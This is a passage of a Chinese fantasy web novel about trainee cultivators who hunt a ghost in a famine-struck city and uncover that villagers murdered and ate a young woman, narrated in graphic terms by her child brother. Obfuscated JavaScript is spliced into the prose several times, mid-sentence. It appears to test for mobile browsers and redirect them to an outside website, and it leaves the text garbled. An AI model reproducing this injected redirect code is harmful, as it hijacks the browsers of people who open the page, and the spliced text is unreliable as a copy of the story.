“许令尹是火灵根破妄境修士,要是遇到他,三十六计走为上计,千万不要试图以卵击石,而且他还是霆霓坊的,折磨人的手段相当多,万一他心情不好,先揍你一顿再抢你玉牌也是有可能的。” “路央师姐是水灵根,黄师兄是火灵根,两个都是闻道境,很有可能会一起行动。” 鸣珂插嘴道:“为啥他们会一起?” 娄雪沁道:“因为他们俩是道侣呀!不过他们时常吵架,也可能各走各的。” “喔——”鸣珂恍然大悟。 娄雪沁继续之前的话题:“楚乐师姐是闻道境,金灵根,她是剑修,人狠话不多,剑名‘欺梦’,据说被剑砍到的人会堕入噩梦之中。柳师兄是丹灵卫里唯一一个风灵根,虽然只有知行境大圆满,但是他能越阶战斗,曾经打败过闻道境前期的修士。要是遇上他,可能你还没反应过来,手里玉牌就已经被他抢走了。” “综上所述,不论遇上谁,只要跑就对了!” 见他们半晌没说话,娄雪沁乐观道:“别这么沮丧嘛,这个地方很大的,我们也不一定会遇到稽查。而且稽查的主要任务是在暗处记录我们的所作所为,要是稽查觉得这个人不堪重用,才会主动现身抢夺玉牌的。” “那就是得表现好咯?”袁涯邻一语中的。 “对的,”娄雪沁打了个响指,“我们的主要任务还是得找出魔族。” “那这里一共有多少魔族啊?”鸣珂乖巧举手问道。 “这个我也不清楚,每个门内的魔族数量都不一样,反正不可能只有一个。”娄雪沁挠了挠头道。 他们在沙地里走了很久,没遇到门中的居民,也望不见其他考生的身影。鸣珂忽然指着一个方向道:“你们看,那里有一座城。” 袁涯邻将手放在眼睛上方,极目远眺,才看到了一个模糊的城池影子,他感叹道:“还没有蚊子大,真亏你能看见。” “有人的地方才有魔,我们走吧。”岚孟率先往城池方向跑去。 其他人迅速跟上。 “鹿城。”岚孟仰头看着城门上空的牌匾,“此地位于逐州、崇州、平河州三州交界之处。” “所以是哪里?”对人境地形方位摸不着头脑的鸣珂问道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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岚孟勾唇笑了笑,抬手设下一个结界,让她们两人换衣服,她穿的就是一身遮得严严实实的黑衣,就只抓了些沙土抹在衣服上。 正拆着头上的发饰时,娄雪沁看到了闫扶音腰间的一刀一剑,问道:“扶音,你的武器要不要收起来?” 岚孟一手搭在右侧的短剑上,摇头道:“它们收不进芥子袋里。” “为何?”鸣珂疑惑道,“它们是法器,又不是小屁孩,你还治不了它们了?” 岚孟掩唇笑了笑,拿出一个空的芥子袋,先将华丽吵闹的短刀放了进去,不出片刻,芥子袋就猛烈地震动起来,同时还伴随着刀鸣,下一秒,短刀挣开封印飞出了出来,躲进了高处的屋檐角落里,只露出一个圆圆的刀柄。 岚孟朝它招手:“回来,不关着你。” 刀动了动,像是在摇头。 岚孟保证道:“真的,骗你是小狗。” 刀迟疑了片刻,才飞下来落在了岚孟手中,她将其别回了腰左侧。 鸣珂来了兴趣:“那这把剑呢?” 岚孟又取下朴素短剑放进芥子袋里,不出一息时间,凌厉的剑气直接将芥子袋碎成了破布。似乎有怨气从未出鞘的剑身上散发出来,周围空气都寒凉了不少。 鸣珂讪讪地笑了笑:“倒是个暴脾气。” “那它们放在一起会怎么样?你这样一个挂在左边一个挂在右边不会不舒服吗?”娄雪沁好奇道。 岚孟取下刀,解释道:“刀叫商刀,剑叫参剑。人生不相见,动如参与商①,要是把它们放在一起……” 她将商刀放在了腰右侧,尚未贴到参剑,商刀便发出一声尖锐刺耳的清鸣,“唰”地一下就蹿到了檐角里,震掉了几块脱落的墙皮,这下倒好,连刀柄都没有露出来,藏得严严实实。 岚孟笑道:“就会发生这样的情况啦。” “……” 鸣珂:“它们俩跟着你也挺辛苦的吧。” 岚孟道:“还好。” 她朝商刀消失的方向招手:“快回来,我是小狗。” 22. 月老签 鹿城一带遇到了百年以来最大的旱灾,四月开始就滴雨未下,土地干裂得像是蜘蛛网,河水干得见底,数万亩良田颗粒无收。百姓纷纷逃出了鹿城南下,流民暴动,盗贼四起,饿殍遍野。直到十天前,朝廷的赈灾粮才姗姗来迟,可那几车粮食根本解决不了鹿城灾情,鹿城郡守只能将粮食藏在府衙里,每日分早晚两次熬成稀粥分发给饥民。 辰时将近,府衙门前已经挤满了饥肠辘辘的百姓,他们面颊消瘦,眼神死气沉沉,仿佛已经失去了生活的希望。腰佩长刀的捕快们站在府衙前阻止百姓靠近,他们脸上同样是萎靡与麻木,握着刀的手也软弱无力,不过是打肿脸充胖子罢了。 只有能让每一个人都吃饱的粮食才能拯救这座城。 大门开了,几个汉子抬着粥桶走了出来,百姓一齐涌上去,捕快们大喊着“不要挤”“排队”。袁涯邻混在饥民里奋力挤到了粥桶前。看着粥桶里看不到几粒米饭的“稀粥”,袁涯邻默不作声退了出来,刚挤出人群,一个捕快就拦住了他。 “你是什么人?” 袁涯邻赔笑道:“官爷这是什么话?” “来领粥却不带碗,鬼鬼祟祟的,瞧着也是生面孔,你不是鹿城人吧?”庄少杰审视的目光在袁涯邻身上扫荡。 袁涯邻没想到这捕快还挺敏锐,张口就来:“官爷好眼力,贫道其实是个云游道士,擅长降妖除魔之道,途径宝地,感应到这里有鬼怪作祟,于是便来看看情况。听说府衙在布粥,就想来讨口饭吃。” 庄少杰诧异道:“你真能捉鬼?看着不像啊。” 袁涯邻自信道:“千真万确,您看,这是贫道的度牒。”他特意假造的度牒此刻派上了用场。 “青云观,海内。”庄少杰念出了度牒上的字。 袁涯邻点头道:“海内正是贫道的道号。” “既然如此,那你就随我来吧。”庄少杰将度牒交还给他,迈开长腿转身就往前走。 “啊?”袁涯邻愣住了,“这真有鬼啊?”他就是随口胡诌的。 人声喧闹令庄少杰没有听清,他问道:“海内道长,你说什么呢?” “啊,没事。”袁涯邻摆手道,“这样,贫道还带了三个徒弟过来,还请官爷稍等片刻。” 过了一会,府衙后院里,庄少杰看着虽然身上脏污明显但难掩清丽容姿的三个姑娘,迟疑道:“道长,这几位真的是你的徒弟?” 袁涯邻道:“庄捕头,别看她们长成这样,捕贼找鸡样样精通,杀妖灭鬼那是样样在行,您就放一百个心吧!莫说一个小小的孤魂野鬼,只要贫道略施小计,就是罪孽滔天的厉鬼,管教他瓮中捉鳖,手到擒来!” 看这人信誓旦旦的样子,庄少杰也不免自省,难道真是他猜错了?他还以为这人不过是个纨绔,携家中美娇娘玩乐罢了…… 他正色道:“道长也看到鹿城的情况了,纵然是府衙,恐怕也付不起多少捉鬼的费用。” 袁涯邻善解人意道:“庄捕头多虑了,我等出家之人怎会贪恋那些俗物,云游四方、降妖除魔也都是为了修行。常言道‘行住坐卧皆是行道’①,我辈中人修行养性,观天地之道,察万物之理,以究道德之微妙②……” 娄雪沁凑到岚孟身边,耳语道:“他之前也是这么忽悠你的吗?” 岚孟无声笑了笑,低声道:“差不多。”虽然被忽悠的是昭离就是了。 被袁涯邻灌输了一通道家箴言之后,庄少杰脚步虚浮地离开了,背影看着瘦削又可怜。 袁涯邻长舒一口气,感叹道:“真是传道、授业、解惑的无比快乐呀。” 娄雪沁敲了敲桌子,问道:“所以是怎么一回事?” 袁涯邻清了清嗓子道:“刚刚那个捕头说夜里老是有个女鬼在城西游荡。那附近是贫民窟,城墙本来就老旧破烂,被暴动的流民撞塌了,府衙一直没钱修,那女鬼就经常从远处的树林里出来,从城墙塌陷处跑到城里吓唬人。” “等入了夜我们就去城墙那里蹲点,定然能将那女鬼一举擒获。” 他信誓旦旦道。 “海内道长,我有一个问题。”鸣珂举手提问。 袁涯邻看向这个勤学好问的学生道:“你说。” “我们要找的是魔,找女鬼干什么?”鸣珂一边吃自己带的蜜饯一边道。 一时间鸦雀无声。 袁涯邻茅塞顿开:“对嚯!女鬼不一定是我们要找的魔啊!” 娄雪沁:“……你这般干劲十足的,我还以为你笃定那女鬼就是我们要找的魔了呢。” 袁涯邻讪讪地笑了笑。 “天灾之下多鬼怪,人死后魂魄不入黄泉成为孤魂野鬼本就不寻常,那女鬼定然是执念未消才逗留人世,被百姓的怨气影响而入魔也是有可能的事。”岚孟道。 “对,就是你说的这样!” 闫扶音的话让袁涯邻瞬间有了底气,他笃定道:“那女鬼肯定入魔了!不然山主们为何要投放鹿城的历史?放一个无关紧要的城池进来,那不是吃饱了撑的么!” 娄雪沁点头道:“言之有理,维持历史投影是很耗费灵力的,想必山主们不会做无用之功。” “入了魔的鬼啊,那就是魔鬼咯?”鸣珂没头没脑地来了一句。 啊?怎么感觉怪怪的……娄雪沁腹诽道。 袁涯邻精神抖擞道:“魔鬼?这个名字好,那我们就收拾收拾去抓魔鬼吧!” – 城西以西曾是一片茂盛的槐树林,大旱几个月,才刚入秋,槐树叶便全掉光了。白日里,光秃秃的树林便让人觉得冷寂寥落,到了夜里,枯干的枝丫更是像张牙舞爪的野兽,只待活人靠近就将其一口吞下。 林中时不时还有响声传出来,有时是野兽喉咙里发出的低哑嘶吼,有时是女子凄厉悲凉的笑声,更何况还有女鬼作祟,所以城西的百姓天一黑就紧闭家门不敢出来,就算是夜里尿急也是用夜壶解决,不敢踏出家门一步,生怕被那个有着可怖笑声的女鬼捉了去吸取精气。 城墙坍塌处,岚孟独自站在北侧,一身黑衣几乎和暗夜融为一体,却将上半张脸露在了月光之下。与日光会刺痛眼睛不同,月光对眼伤有一定的缓和作用,所以她没戴鲛云纱帷帽,还尽可能让眼睛沐浴到朗月的光泽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929618|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>南侧,两人一妖肩并肩背靠着土墙,他们从太阳刚落山开始就守在这里了,可几个时辰过去,还是没有看到女鬼的身影。 鸣珂等得有点打瞌睡,一个劲地打哈欠,将头靠在娄雪沁肩膀上,嘟囔道:“那魔鬼怎么还不来啊,我想睡觉了。” 娄雪沁也等得有些心焦,她唯恐翟子续顺利成为预备丹灵卫,而自己却因为抓不到魔而被淘汰了。要是真的到了那步境地,就是把整个焱堂都挖成洞也不够她钻的! 见她二人一个昏昏欲睡,一个心事重重,袁涯邻变戏法似的拿出一个签筒,里面放了一百零一支竹签,就是他上次想给闫扶音算却惨遭拒绝的那个签筒,他道:“醒醒神了姑娘们,闲着也是闲着,让贫道给你们算算姻缘吧!” 娄雪沁瞪他一眼:“你是有多大的心,在这个时候弄这些东西。” “怕什么,”袁涯邻耸耸肩道,他指了指背后,“你们看,闫扶音多有精神!不过是个女鬼而已,有她盯着肯定没问题的。” 娄雪沁还想怨几句,鸣珂却已经打着哈欠抽了一根竹签出来,睡眼朦胧地看着竹签:“什么鸟什么水。啊~好困。” 袁涯邻接过那根竹签,嘟囔道:“既没有摇签也没有祝祷,不一定准确啊……”他看了一眼签文,“哟”了一声道:“中签,不太行啊。” 娄雪沁好奇地凑过去看,只见竹签上写了一句词:落霞与孤鹜齐飞,秋水共长天一色③。 “为什么不太行?又不是下签。”她问道。在她的认知里,只有下签才是不好的结果。 “你看,落霞和孤鹜都是寂寞、寂寥的意象,暗示这段感情走到最后会是凄美落寞的结局,求得此签表明目前福缘不足,缘分难成啊。” 鸣珂清醒了一点,哈哈笑道:“那可不呗,为了逃婚我都从妖域跑到人间来了。” 袁涯邻和鸣珂都大为震撼,于是鸣珂就将老爹逼自己生崽的事情又说了一遍。 娄雪沁叹为观止,这就是妖界么,和人族还是有些,不,有很大不一样的。 鸣珂揽着娄雪沁的肩膀,怂恿道:“小雪雪,你也抽一支呗!” 袁涯邻也在一旁煽风点火。 娄雪沁推辞不过,抬起签筒随意摇了摇,从其中抽取了一根竹签递给了袁涯邻。 袁涯邻念出了签文:“风弄竹声,只道金佩响:月移花影,疑是玉人来④。” 鸣珂腹诽道:怎么都是酸了吧唧的诗文。 “春风摇晃竹叶,金佩鸣响不绝于耳;月亮移动,花的影子也跟着动,好像是有玉人踏着月光前来。”袁涯邻笑道:“此签是上吉之签,说明你将有桃花运啊,要留意身边的人,积极把握缘分。” 鸣珂打趣般笑着看向娄雪沁,后者无端红了脸,挣脱她的胳膊,恼道:“你这根本就不准,江湖骗子,净会忽悠人!”说完她便气冲冲跑到北面去了。 袁涯邻气愤道:“真是萝卜干当人参,本公子可是太乙门算姻缘最准的一个!” 鸣珂若有所思,问道:“那你能帮我算算我未来孩子的爹在哪里吗?” 袁涯邻:“……不是这么算的。” 23. 万家村 娄雪沁刚在闫扶音身后站定,正想说些什么,便听她道:“来了。” 她连忙屏住呼吸,小心翼翼地将怀中的欺梦笔取了出来紧紧握在手中。 萧瑟凄厉的笑声由远及近,岚孟仰头从墙垣上上去,只见一个衣裳破烂的女鬼晃晃悠悠从槐树林里飘了出来,惨白的月光打在她的身上,透过衣裳的间隙,岚孟看清了她残破不堪、像是被野兽撕咬啃噬的身体,以及缭绕在她魂体上丝丝缕缕的黑气。 岚孟拧起了眉。 这就怪了。人死如灯灭,按理来说尸体受到的伤害是不会存留在魂体上的,就算是不得超脱的孤魂野鬼,也该是一副完完全全的魂体才对,入魔就算了,为何这女鬼的魂体还如此残破? 不等她想出个所以然来,那女鬼已经悄然靠近了残破的墙垣,没像他们设想的那样,从坍塌处经过,而是攀上墙头,径直从岚孟头顶飘了过去。 岚孟不再迟疑,将商刀连带着刀鞘一起朝女鬼身上甩去,商刀环绕女鬼一圈又飞了回来,而她脚下多了一个圆形的光圈。 紧接着,欺梦笔在空中划过一道弧线,清澈的水波扑向女鬼,尚未触及女鬼的身体,她仿佛才意识到自己被人袭击了一般,捂着脸大叫了一声,抱着头缩成了一团,刚好避开了娄雪沁的水流攻击。 娄雪沁都有些拿不准女鬼是扮猪吃老虎还是真有点本事了。她的修为不够,只能用笔画水,完全没法掌握欺梦笔“造梦”的能力。否则可以直接将女鬼拖入梦境,守株待兔就可以了。 四人同时朝女鬼靠近,娄雪沁一马当先,刚要进入女鬼一丈范围内,她便眼尖地发现土地里有黑气源源不断地涌进了女鬼的身体,她暗道不好,尚未停住脚步,便觉有人从背后抓住了她的腰带将她往后甩了出去。 “嘭——”鬼气从女鬼身上爆发出来,皎洁的月光也被染成了黑色,四周草木瞬间枯萎焦黑,散发出刺鼻的味道。 几息过后,鬼气散去,女鬼也不见了踪迹。 娄雪沁跺了跺脚,恼道:“可恶,让她给跑了。” 岚孟走到女鬼消失的地方,捻了捻焦黑的沙土,嗓音冷寂:“她身上有很重的怨气,不仅是她自己的,还吸收了其他百姓身上的,更何况有魔气侵染,不出三日,她必成厉鬼。” “不用担心,我们明天晚上就能抓到她了。”鸣珂道。 三人同时看向她,只见她笑着从身后拿出了一面古朴的铜镜。 “锵锵!这叫‘真我镜’,比你们人族话本里写的照妖镜要逊色一点,没法照出妖族真身,但是可以破除修容的法术,照出一个人最原本的模样,最重要的一点,它能照出魂魄生前的样子。你们看,这女鬼生前长这个样子。” 三人凑了过来。 袁涯邻目瞪口呆:“哎哎哎——这确定是刚刚那个白骨精生前的模样吗?” 次日,府衙内,庄少杰看着铜镜中的女子,眉头拧成了川字,沉默良久,他才沉重道:“这个姑娘,叫万芳里。” 镜中是一个体态丰腴的姑娘,圆圆的脸上洋溢着温暖亲切的笑容,瞧着十分讨喜。 “她是城西万家村人,很会做糕点,曾经还在府衙旁边的食肆里做过厨娘,但后来店主关店投奔女婿去了,万芳里在城里找不到活计,也就回万家村了。几天前我们核查百姓死亡人数的时候才知道她死了。你们看,这是存档。” 娄雪沁一字一句地念出了存档上的记录:“万芳里,女,家住鹿城万家村,昭平二十年生人,卒于昭平三十七年,死于馁馑。” 馁馑,也就是饿死。旱灾年间,有多少人是因为缺粮少水而死的?恐怕数都数不过来。 “你们若要去万家村的话,出了西城门后直走,遇到第一个岔路的时候右转,再走一盏茶时间就看得到万家村了。” - 万家村曾经也是个依山傍水的好地方,可几十年前,离村子最近的水源忽然干涸了,村人们只能绕过山脚去五里以外的河边打水。因为没了水源,曾经能亩产三石的良田也变成了旱地,村人纷纷离开万家村,去寻找新的出路。现如今,万家村只剩十几户人家,不到五十号人,仍坚守着祖宗开垦了一辈子的土地,百年难遇的饥荒更是让村人折减了三成有余。 巳时,十多个男人垂头丧气地走进了村子,手里的碗空空如也,出门时是什么样,回来还是什么样,不沾半点饭粒。 纵使天不亮就出门去鹿城府衙前等着,他们也没有抢到一碗稀粥。现如今谁还有那个闲心干活,谁不是日日夜夜盼着那一碗救命的稀粥?他们能天不亮就出门,鹿城的百姓就能彻夜不眠等在府衙门口,看谁熬得过谁。 等在村口翘首期盼的妇孺们眼中的光亮一下子灭了。 “今天也没有啊。” “娘,我好饿呜呜呜……” “小宝不哭,不哭……” 村人们一边怨声载道一边朝自家走去,落在后方的人不经意看向身后,惊呼道:“有人来了!” 只见四个相互搀扶、风尘仆仆的人朝村子走了过来,三女一男,都是二十岁出头的模样。 正是打扮成流民的岚孟一行人。 袁涯邻上前交涉。 “各位老乡,在下袁海内,听说鹿城在施粥,所以带着三个妹妹逃过来了,想打听一下鹿城往哪边走?” “没用的,根本抢不到粥!你看,我们十几个大男人去也抢不过鹿城里那帮贪得无厌的老鼠!” 袁涯邻挤出几滴眼泪,哭道:“竟是如此!可怜我兄妹四人历尽千辛万苦才走到这里,风餐露宿,没睡过一天好觉……我们已经两天没喝水了,不知能否讨口水喝?你们放心,我们喝了水就走,绝对不会进村子里。” 毕竟有很多强盗就是以“讨口水喝”为由闯进村民家中烧杀抢掠,万家村即使没遇到过,肯定也道听途说了不少,所以袁涯邻才有如此保证。 村人们议论纷纷,一个汉子从人群中走了出来,站到袁涯邻面前,幽幽目光上下打量他几遍,粗声粗气道:“我家里还有些水,你们跟我来吧。” 他心花怒放:“谢谢大哥!谢谢大哥!” 一行人跟着汉子走了。 岚孟只觉得村人的目光十分古怪,男人们或犹疑或决绝,女人们都面露哀戚,捂住了自家孩子的脸。她收回了目光,跟着男人进了一方小院。枯枝落叶几乎铺满了院子,空气中散发着陈旧腐败的臭味,一个小孩呆呆跪坐在正房柱子边,见到人进来也一动不动。 走近了,岚孟才看到有一根结实的麻绳栓住了男孩的手腕,麻绳很短,将他控制在了柱子一尺范围内,看他的身板,应是个尚不足十岁的孩子,可他的眼神却像是一潭死水,无波无澜。 她问道:“这是你的孩子吗?” 汉子瞪了她一眼,恶狠狠道:“少多管闲事!”然后挑开脏污的门帘走进了庖厨打水。 鸣珂走到男孩不远处,轻声问道:“小弟弟,这是你家吗?你怎么被锁在这里?” 男孩一动不动,仿佛听不见人说话。 娄雪沁也凑了过来,温和道:“我们不是坏人,只是想来讨一口水喝。” 袁涯邻看他毫无生气的样子,伸手在他眼前晃了晃,而男孩一眼不眨,依旧呆呆地跪坐着,目光放空,不知道在看向什么地方。袁涯邻道:“好像是受了惊吓,魔怔了。”他看着男孩的脸陷入了沉思。 这时,汉子抬着一个汲满水的木瓢走了出来,袁涯邻立马笑着迎上去接过水瓢,连连道谢。他看着瓢中略显浑浊的水,忽地咽了咽口水。 汉子见他举着瓢却不喝,粗鲁道:“不渴就还回来!” 袁涯邻连忙躲开他的胳膊,解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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万三金脸色顿变,抡着手中镰刀朝岚孟打去,其他村民也齐齐动手。 妖气从鸣珂身上迸发出来,将村民们震出几丈远,狠狠撞在墙上,不少人登时便咳出血来。 “畜生。”她一脚踩在万三金的胸膛上,冷声道:“你们也下得去嘴,简直猪狗不如。” 万三金咳出一口血来,眼睛瞪得几乎要凸出来,恶狠狠道:“老子养了她十多年,现在大难临头,让她报答一下怎么了!” 娄雪沁割断了男孩手上的麻绳,将哭得上气不接下气的男孩扶坐在了板凳上。 “小弟弟,你能和姐姐说一说发生了什么事情吗?” 十岁的孩子已经能记得很多事情了,更何况是他亲眼目睹并被吓坏了的事情。男孩一边抽噎一边道:“姐姐,被按在,桌子上,就像是杀猪一样,她一直在哭,可是爹不听,叔叔伯伯们也不听,血,姐姐流了好多血。到了晚上,饭桌上就有肉了,香喷喷的,呕——” 他忽然开始干呕,并且呕出血来,娄雪沁连忙扶住他的肩膀。 “我,我也吃了,是姐姐,我吃了姐姐的肉哈哈哈……” 几个叔伯按着他,爹亲手把姐姐的肉塞进了他嘴里,扣着他的下巴让他咀嚼。 他笑了起来,稚嫩的脸上尽是癫狂,鲜血混着眼泪淌了出来,在他的脸颊上划出一道道红色的印记。 “娘接受不了,撞墙死了……哈哈哈,我们把娘也吃了哈哈哈……” 声声悲泣犹如杜鹃啼血,凄厉的笑声仿佛是一根尖锐的刺,一下一下扎在众人心头,不仅疼,还奇痒难耐,仿佛能灼烧灵魂。 天一下子暗了。 24. 人心恶 十一天前,万芳里背着空空的背篓回到了万家村。她这次出去了三天,走了很远的路,鞋底磨穿了,身上全是被树杈划破的细小伤口,却毫无所获,拖着饥肠辘辘与疲惫不堪的身躯回到了家中。 娘去五里外的河边打水去了,幼弟万勉也不在家中,只有父亲万三金,听到开门声,从庖屋里走了出来,失望地看了她和空空如也的背篓很久,什么话也没说,沉默着递给她一瓢水。 万芳里饥渴难耐,嗓子都快冒烟了,开心地接过了那瓢水,心想爹今天居然没有发脾气,他总算能理解了吧?大旱几个月,山上能吃的东西早就被挖完了,纵使她出去再久、走得再远,又能找到什么呢?以前爹总说是她自己偷吃了,可爹、娘和弟弟都等着她带食物回去,弟弟还那么小,她怎么可能这么做? 一次,两次,一次又一次,她宁可自己饿死,也要少吃一点,再少吃一点,把救命的食物留下来,给年幼的弟弟吃,给虚弱的母亲吃,给作为家中顶梁柱的爹吃。 她自己? 没事的,她胖,她身上有两百斤肥肉,饿一两顿没事的,只要熬过了这段苦日子,等朝廷的赈灾粮来,大家都有救了,大家都有活路,到时候一家人又能和和美美地生活在一起了。 想到这里,万芳里就感觉浑身都充满了力量。她饱含希望地喝下了那瓢河水。 她怎会知道,那一瓢清澈甘冽的河水会成为她的穿肠毒药。 等她清醒过来时,自己已经被五花大绑固定在了桌子上,带着汗味的布条堵住了她的嘴,让她止不住地干呕,麻绳勒得她皮肤生疼,好像能透过身上的肥肉疼进骨头里。 最让她绝望的,是拿着杀猪刀一步步靠近她的父亲,几个叔叔伯伯手里拿着同样的东西,沉默着,看着她。 “小芳,你别怪三叔,不这么做大家都会死的!三叔知道你乖巧懂事,平日里三叔也没少疼你,哪次赶集回来不给你带零嘴吃?你说对不对?” “小芳,你放心,四爷爷一定给你做一个大棺材!把你的灵牌放在祠堂最显眼的地方,子子孙孙都会记得你的!” “小芳,你是我们万家村的大恩人啊!” “小芳……” 为什么…… 为什么不说话,爹? 万芳里很想朝万三金问这么一句,可是她开不了口,只能眼睁睁看着万三金举着杀猪刀向自己走来。 余光里偶尔看见一两个布衣钗裙的背影,是哪家的婶子来围观了呢……这般场景和过年杀猪也没什么不同吧。 平日里温和善良的叔叔伯伯们纷纷举起了屠刀。 这里的肉红烧,那里的肉清蒸,他们热火朝天地讨论着。 算了。 一瞬间的事情,不会有多疼的。 万芳里这样想。 直到她的视野里出现了万勉单薄的身影。 在她的印象里,弟弟一直是娇小柔弱的存在,累了要背,饿了会叫,会屁颠屁颠追在她身后要糖吃,会从几丈高的树上摔下来,磕破膝盖也倔强地忍着眼泪说“不疼”。 不知不觉,他长大了呢。 从只会满地爬的小小婴儿,长成信誓旦旦许下“姐,长大了我保护你”的誓言的少年,不过十岁便长得和她肩膀一般高,能毫不费力抬起一桶水,现如今,也能一头撞翻一个成年男人,横冲直撞,像是发了狂的小牛犊。 “姐——” – 袁涯邻取了绳索,将那七八个村民都捆了起来。 虽然这里只是历史幻影,等七天一过,幻影便会如泡沫般消失,他们所做的事情对现实并不会有什么改变。但是也得如身处现实一般,让自己的行动合乎常理,既然闯了万家村还破坏了村民的谋划,就不能放着这些意图不轨的村民不管,若因此事态变得严峻,可能会影响到溯回试炼的这个空间,届时,就算是杀再多的魔,也是会被取消资格的。 娄雪沁来到他身边,问道:“你怎么知道这孩子和万芳里是姐弟?” 袁涯邻昂起头,像是个骄傲的花孔雀,“我可是方士!看相这种事简直是手到擒来好吗!我一见到这个娃娃的脸就知道他和那女鬼有血缘关系了,骨相可是不会骗人的。” “那你还挺厉害的。”娄雪沁勉强夸赞了一句。 “多谢夸奖。”袁涯邻坦然接受。 鸣珂双手环胸,一脸漠然地靠在墙边,看着呆呆坐在板凳上的万勉,良久,才叹气道:“真是可怜,那姑娘被吃的第二天,赈灾粮就到了,他们怎么就不能多等一天呢。” 岚孟冷哼一声,“人不就是这样的吗?不到生死存亡的时刻,你永远不知道他们的心到底是黑的还是红的。见得多了你就会发现,这世上大多数人都不过是披着人皮的野兽罢了,自私自利,汲汲为营。” 鸣珂看了她一眼,然而在鲛云纱的阻隔下,她并没有看清说这话时闫扶音是什么样的神色。 岚孟走到万勉面前,道:“你姐姐被埋在鹿城东边的槐树林里,或许是想回来报仇吧,她一直在往西边走。怎么说,你想和我们走,还是等她来找你?” 万勉眸光微动,半晌,才站了起来,自顾自往外走去。 四人皆不远不近跟在他身后。 “用万勉引蛇出洞,这样能行吗?”娄雪沁怀疑道,“万芳里生前只是个普通的凡人,做了鬼以后又入了魔,她还能认出来她弟弟吗?” “总得试一试,那万芳里就是个胆小的,一点风吹草动都会把她吓跑,白瞎了她这个怨鬼的身份。”袁涯邻道。 “要是她认不出来万勉,我们就只能用蛮力将她击杀了,入了魔的鬼王可不是闹着玩的,再让她吸收怨气下去,我们几个都得玩完。” 岚孟道:“有不小的概率能成功吧,我以前也遇到过入魔的百姓被家人唤醒良知的例子。” “真的?”娄雪沁惊诧道,总觉得闫扶音好像经历过很多事情啊,人很沉稳,还很好相处,偶尔会有点小调皮,这一点倒是和柳师兄挺像的。 她继续问道:“什么时候的事情?在哪里呀?我都没怎么遇到过魔。” 当然是跟着尧玦天南海北执行任务的时候遇到的。 岚孟刚想随便编个时间地点,忽然有所察觉,沉声道:“有人来了。” 袁涯邻连忙上前抓住万勉的胳膊将他护在身后,两眼警惕地四处查看。 鸣珂从妖境中抽出了一根通体光滑无花纹的木棍,娄雪沁取出欺梦笔,摆出一副战斗的姿势。 岚孟举目四望,指着不远处一个坍塌的土坡道:“先躲起来。” 袁涯邻连背带扛率先将万勉塞进了土坑里,其他人呈拱卫之势躲在坡后。 刀剑相撞的打斗声由远及近,只见三个人相互缠斗着从山坡上滑了下来,其中两个黑衣人应该是一伙的,联手对付另一个女子。 娄雪沁眯起眼睛去看,忽然瞪大了眼睛,骇然道:“这不是楚乐师姐吗!那两个人是什么来头,居然敢围攻稽查!” 楚乐手握朔风剑,其余两人则各持一柄形制相似的弯刀,三人打得不可开交,而且都下了死手,可以看到楚乐的衣裳被划破了不少口子,渗出殷红鲜血来,而两个黑衣人身上也都挂了彩。 岚孟“歘”地一声拔出了商刀,她道:“我去看看情况,你们别轻举妄动,看到情况不对就找机会逃跑,不必担心我。”言罢,她便如离弦的箭一般飞了出去。 “扶音——”娄雪沁直起身去抓她却抓了个空。 鸣珂手疾眼快将她扯了回来,安慰道:“别担心,她厉害着呢,我们顾好自己就行。” 说着,她朝身后努了努嘴,娄雪沁和袁涯邻都扭头朝身后看去,只见十几只眼瞳猩红的野狼龇牙咧嘴盯着他们,口中发出嘶哑的吼叫,淌下一串又一串散发着恶臭的涎水。 真是前有狼后有虎。 娄雪沁手持欺梦笔划出几条尖锐的水剑。 - 一柄短刀从侧面飞来替楚乐挡下了背后黑衣人的袭击,她一个旋身踹向身前黑衣人的胸口,那柄短刀又飞了回来,直直砍向他的脖颈,被黑衣人敏捷地躲开,最后那刀被一个帷帽女子抓在了手里。 呼吸之间,她便从十几丈开外的地方来到了黑衣人面前,在对方尚未反应过来之际,短刀直逼其面门,虽然黑衣人反应迅速躲过了这一刀,可还是被锋利的刀刃割破了脸颊。 在楚乐看来,帏帽女子的速度不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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岚孟飞扑过去抢那珠子,岂料羊华也留有后手,一条小蛇龇着毒牙从他袖中飞了出来,径直飞到了岚孟头顶,慌乱间帷帽和毒蛇一起飞了出去。 几息时间,羊华便捏碎白珠消失了,那条小蛇也化作黑气消散。 岚孟忙将帷帽拾起来扣在了头上。 可别把这定制的帽子弄坏了。 远处,娄雪沁等人还在被狼群围攻,她正打算赶去支援,楚乐忽然挡在了她身前,布满血丝的眼睛紧紧盯着她。 岚孟皱眉道:“楚从事,你有什么事吗?” 楚乐一把攥住了她的手腕,力道之大,岚孟只觉得手都要断了,她刚张了张嘴想说些什么,忽然感觉一阵眩晕。 楚乐动用了稽查在溯回始练里可以使用的能力——随机传送。 电光火石间,两人便凭空消失了。 